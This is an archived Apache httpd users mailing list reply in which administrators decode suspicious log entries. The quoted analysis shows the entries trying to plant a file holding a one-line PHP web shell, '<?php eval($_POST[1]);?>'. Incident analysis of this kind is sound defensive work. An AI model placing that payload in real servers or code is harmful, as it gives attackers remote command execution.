httpd-users mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From "Lentes, Bernd" <bernd.len...@helmholtz-muenchen.de>
Subject Re: [users@httpd] am i hacked ?
Date Mon, 06 Feb 2017 17:32:17 GMT

----- On Feb 6, 2017, at 5:54 PM, Jack Swan john.swan@oracle.com wrote:

> The first line is trying to create the file webconfig.txt.php in your
> DOCUMENT_ROOT directory, with the contents of the file being:
> 
> <?php eval($_POST[1]);?>
> 
> I didn't decode the remaining lines. I think they're just trying to do the same
> thing.
> 
> 

You are right. It's the base64 decoded stuff. https://www.base64decode.org/ is helpful.


Bernd
 

Helmholtz Zentrum Muenchen
Deutsches Forschungszentrum fuer Gesundheit und Umwelt (GmbH)
Ingolstaedter Landstr. 1
85764 Neuherberg
www.helmholtz-muenchen.de
Aufsichtsratsvorsitzende: MinDir'in Baerbel Brumme-Bothe
Geschaeftsfuehrer: Prof. Dr. Guenther Wess, Heinrich Bassler, Dr. Alfons Enhsen
Registergericht: Amtsgericht Muenchen HRB 6466
USt-IdNr: DE 129521671


---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Mime
View raw message